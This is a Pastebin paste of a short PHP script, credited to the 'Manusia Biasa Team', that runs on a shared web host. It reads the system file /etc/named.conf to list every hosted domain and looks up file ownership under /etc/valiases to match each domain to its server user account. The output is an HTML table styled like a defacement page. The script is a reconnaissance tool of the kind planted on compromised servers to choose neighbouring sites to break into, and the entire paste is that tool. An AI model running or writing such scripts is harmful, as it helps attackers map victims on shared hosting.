Advertisement
lastc0de

domain

Aug 7th, 2013
1,112
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.43 KB | None | 0 0
  1. <?
  2.  
  3. echo "<title>Manusia Biasa Team</title>
  4.  
  5. <style>
  6.  
  7. body,table{background: black; font-family:Verdana,tahoma; color: white; font-size:13px; }
  8.  
  9. A:link {text-decoration: none;color: green;}
  10.  
  11. A:active {text-decoration: none;color: green;}
  12.  
  13. A:visited {text-decoration: none;color: white;}
  14.  
  15. A:hover {text-decoration: underline; color: red;}
  16.  
  17. #new,input,table,td,tr,#gg{text-align:center;border-style:solid;text-decoration:bold;}
  18.  
  19. tr:hover,td:hover{text-align:center;background-color: #FFFFCC; color:green;}
  20.  
  21. </style>
  22.  
  23. <p align=center># Domains & Users</p>
  24.  
  25. <p align=center>Domain with PHP .. Recoded By Manusia Biasa Team ..?!</p><center>";
  26.  
  27.  
  28.  
  29. $d0mains = @file("/etc/named.conf");
  30.  
  31.  
  32.  
  33. if(!$d0mains){ die("<b># can't ReaD -> [ /etc/named.conf ]"); }
  34.  
  35.  
  36.  
  37. echo "<table align=center border=1>
  38.  
  39. <tr bgcolor=green><td>d0mains</td><td>users</td></tr>";
  40.  
  41.  
  42.  
  43. foreach($d0mains as $d0main){
  44.  
  45.  
  46.  
  47. if(eregi("zone",$d0main)){
  48.  
  49.  
  50.  
  51. preg_match_all('#zone "(.*)"#', $d0main, $domains);
  52.  
  53. flush();
  54.  
  55.  
  56.  
  57. if(strlen(trim($domains[1][0])) > 2){
  58.  
  59.  
  60.  
  61. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  62.  
  63.  
  64.  
  65. echo "<tr><td><a href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td><td>".$user['name']."</td></tr>"; flush();
  66.  
  67.  
  68.  
  69. }}}
  70.  
  71.  
  72.  
  73. echo "</table>
  74.  
  75. <p align='center'>
  76.  
  77. ReCoded By <a href='http://manusia-biasa.org'>MANUSIA BIASA TEAM</a> | <a href='http://'>Raka Satria</a>
  78.  
  79. </p>
  80.  
  81. ";
  82.  
  83.  
  84.  
  85. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement